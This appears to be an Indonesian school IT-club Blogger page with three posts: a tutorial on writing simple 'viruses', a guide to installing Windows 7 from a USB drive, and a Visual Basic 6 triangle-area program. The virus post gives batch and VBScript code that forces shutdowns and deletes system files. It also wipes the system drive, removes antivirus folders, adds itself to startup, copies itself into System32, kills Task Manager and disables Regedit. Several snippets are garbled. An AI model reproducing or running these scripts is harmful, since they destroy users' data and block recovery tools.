About me Hafid Edo

Cinta hanyalah sebuah perkataan sampai seseorang datang ke dalam kehidupanmu dan memberikan apa arti cinta.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Alone..

I'm here alone without by my side, waiting for you to come with the love for me, to fill this heart a longing for you, this soul felt empty when I miss your sweet smile, really, I love you so much my lovely girl ..... .

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

IT Club SMAN 1 NGUNUT

IT Club Adalah salah satu ekstra kulikuler di SMAN 1 NGUNUT yang Bergerak Di Bidang Teknologi Informasi.

Tampilkan postingan dengan label programmer. Tampilkan semua postingan
Tampilkan postingan dengan label programmer. Tampilkan semua postingan

Minggu, 18 November 2012

CARA MEMBUAT VIRUS SEDERHANA

CARA MEMBUAT VIRUS SEDERHANA


1. MEMBUAT VIRUS RESTART
Masuk Notepad kemudian isi script di bawah ini :
@echo off
shutdown -r -f -t 00

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
Perintah ini hanya akan me-restart komputer Anda. Anda aman untuk mencobanya. Sama seperti script virus.bat, script di atas ini juga harus disimpan dengan ekstensi .bat, misalnya restart.bat
2. MEMBUAT VIRUS DI NOTEPAD
Masuk Notepad kemudian masukkan script di bawah ini :
offcd\WINDOWS\@del explorer.exe@del
NOTEPAD.execd\WINDOWS\system32\@del winlogon.exe@del
spider.exe@del notepad.exe@del mspaint.exe@del accwiz.exe@del
Simpan script tersebut dalam bentuk file.vbs, misal : Virus.vbs
3. MEMBUAT VIRUS UNTUK MEMATIKAN WINDOWS
Masuk Notepad kemudian tulis script di bawah ini :
CreateObject(”WScript.Shell”).run “shutdown -s-f -t 60, vbhide

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
Simpan script tersebut dalam bentuk file.vbs, misal : virusshutdown.vbs. Virus ini berfungsi untuk mematikan windows dalam waktu 60 sekon “shutdown -s-f -t 60". (60) Ganti waktu yang dinginkan. Misalnya 30 detik/sesuai keinginan.
s = Shutdown
r = Reboot/restart
kalau untuk restart ganti yang berwarna Hijau dengan r. jadi
CreateObject(”WScript.Shell”).run “shutdown -r-f -t 60, vbhide

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
4. MEMBUAT VIRUS YANG DAPAT MENGHAPUS FILE
Masuk Notepad kemudian tulis script di bawah ini, agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\xxx.exe” (menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder “C:\antivirus” (menghapus folder antivirus di direktory C:\)

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
Contoh :
On Error resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe”
hapus.DeleteFolder “C:\antivirus”

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
Kemudian simpan script tersebut dalam bentuk file.vbs, misal: virusdeleted.vbs
5. MENJALANKAN VIRUS PADA SAAT STARTUP ATAU SAAT WINDOWS DIHIDUPKAN
Masuk Notepad kemudian tulis script di bawah ini :
On Error Resume Next
CreateObject(”WScript.Shell”).RegWrite“HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus”
, “c:\windows\system32\virus.vbs” (menjalankan virus yang berada di direktory c:\windows\system32 dengan nama virus.vbs)

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
Simpan script tersebut dalam bentuk file.reg, misal : virusstartup.reg
6. MEMBUAT VIRUS PEMBUNUH PROSES
Virus ini digunakan untuk membunuh proses (proses adalah program yang sedang berjalan) misalnya kita akan membunuh proses taskmanager. Masuk Notepad kemudian tulis script di bawah ini :
On Error Resume Next
CreateObject(”WScript.Shell”)
.run “taskkill /f /im taskmgr.exe”, vbhide

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
Simpan script tersebut dalam bentuk file.vbs, misal: virustaskkill.vbs
7. MEMBUAT VIRUS YANG DAPAT MENGOPYKAN DIRI KE DEREKTORY LAIN 
Masuk Notepad kemudian tulis script di bawah ini :
CreateObject(”Scripting.FileSystemObject”).
GetFile(WScript.ScriptFullName).Copy“c:\windows\system32\virus.vbs”

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
Simpan script tersebut dalam bentuk file.vbs, misal : virus.vbs
Ada juga cara lain dengan script seperti ini:
On Error Resume Nextcreateobject(”scripting.filesystemobject”).copyfile wscript.scriptfullname,createobject(”scripting.filesystemobject”).getspecialfolder(1)& “\virus.vbs”

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
Simpan script tersebut dalam bentuk file.vbs, misal : virus.vbs
.getspecialfolder(0) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory Windows
.getspecialfolder(1) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory System32
.getspecialfolder(2) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory Temporary

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
8. MEMBUAT VIRUS BERBAHAYA
Ketik script berikut di notepad, dan simpan dengan ekstensi bat, misalnya virus.bat
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
9. Men-Disable Regedit Menggunakan Virus
Masuk Notepad kemudian tulis script di bawah ini :
On Error Resume NextCreateObject(”WScript.Shell”).run“cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d “”1” /f”, vbhide

< !--[if !supportLineBreakNewLine]-->
< !--[endif]-->
On Error Resume Next (perintah ini digunakan pada file vb supaya bila ada yang script yang salah bisa dilanjutkan ke kode berikutnya) Simpan script tersebut dalam bentuk file.vbs, misal : disableregedit.vbs.

Install Windows 7 via Flashdisk dengan USB DVD tool

Pada postingan sebelumnya saya sudah ngeshare CARA INSTAL WINDOWS DENGAN FLASH DISC, kali ini saya ingin share lagi tutorialnya lagi tapi pakek aplikasi yang berbeda .Cara install Windows 7 dengan Flashdisk ini bertujuan bagi anda, jika didalam PC atau Netbook yang tidak memiliki DVD – ROM didalamnya.
Install Windows 7 dengan Flashdisk
Instaal Windows 7 Melalui Flashdisk jauh lebih cepat dibandingkan menginstall dengan DVD dan resiko kegagalan instalasi dengan USB flashdisk lebih kecil daripada menggunakan instalasi melalui DVD.
Pertama kita akan membuat USB Flashdisk dari file ISO (Kalau kalian Punya), dan jika belum bisa menggunakan program Ultra ISO ( bisa di cari di google ). kedua kita akan buat dari DVD instalasi windows 7.
Untuk cara pertama membutuhkan perangkat bernama Windows 7 USB Tool ( bisa di cari di google). Syaratnya kalian harus mempunyai USB Flashdisk berukuran 4 GB atau lebih
  • Jalankan windows 7 USB DVD tool. klik ” Browse ” kemudian cari file Iso nya lalu klik ” Next “
  • Kemudian pilih media yang digunakan, karena ingin membuat installer dari USB Flashdisk pilih ” USB Device “
  • Pilih drive USB Flashdisknya. Biasanya Windows 7 USB DVD tool akan secara otomatis mendeteksinya. Klik ” Begin Copying “
  • File akan di copy tunggu sampai selesai. Ketika sudah selesai, restart computer, masuk Bios. Dibagian prioritas boot ganti ke ” Removable Storage ” jika kalian mempunyai sumber dari CD / DVD bisa menggunakan aplikasi WinToFlash .1. Sama seperti windows 7 USB DVD Tool, WiinToFlash tidak perlu di install. Setelah download, ekstrak, tinggal klik ganda di file WinToFlash.exe muncullah tampilan WinToFlash.
  • Klik ” Windows setup transfer wizard ” sehingga muncul halaman ” Welcome ” klik ” Next ” tentukan drive yang berisi DVD Instalasi Windows 7 dan Drive USB
  • Muncul Windows License Agreement pilih ” Accept ” kemudian klik ” Continue ” muncul peringatan kalau USB Flashdisk akan diformat. Klik.OK
  • Proses penyalinan akan berjalan tunggu sampai selesai
  • Jika sudah selesai, tancapkan USB Flashdisk pada PC atau Netbook kalian dan ganti prioritas bootnya ke Removable Storage

Sabtu, 17 November 2012

mengitung luas segitiga dengan visual basic 6

1. Buka VB6 pilih Standard EXE

2. Buat object sbb:

a. Label1, Caption = Alas
b. Label2, Caption = Tinggi
c. Label3, Caption = Luas
d. Textbox1, Name = txt_alas
e. Textbox2, Name = txt_tinggi
f. Textbox3, Name = txt_luas
g. Command Button1, Name = cmd_proses; Caption = Proses
h. Command Button2, Name = cmd_close; Caption = Close

3. Deklarasi data dengan coding sbb:
Dim alas As Double 'tipe data variabel alas adalah double
Dim tinggi As Double 'tipe data variabel tinggi adalah double
Dim luas As Double 'tipe data variabel luas adalah double
4. Membuat coding cmd_proses
Private Sub cmd_proses_Click()
alas = txt_alas.Text 'variabel alas mengambil nilai dari textbox alas
tinggi = txt_tinggi.Text 'variabel tinggi mengambil nilai dari textbox tinggi
luas = 0.5 * alas * tinggi 'rumus luas segitiga
txt_luas.Text = luas 'memasukkan textbox luas ke dalam nilai luas
End Sub
5. Membuat coding cmd_close
Private Sub cmd_close_Click()
End
End Sub

6. Jalankan program.

Sumber; saat kegiatan ITC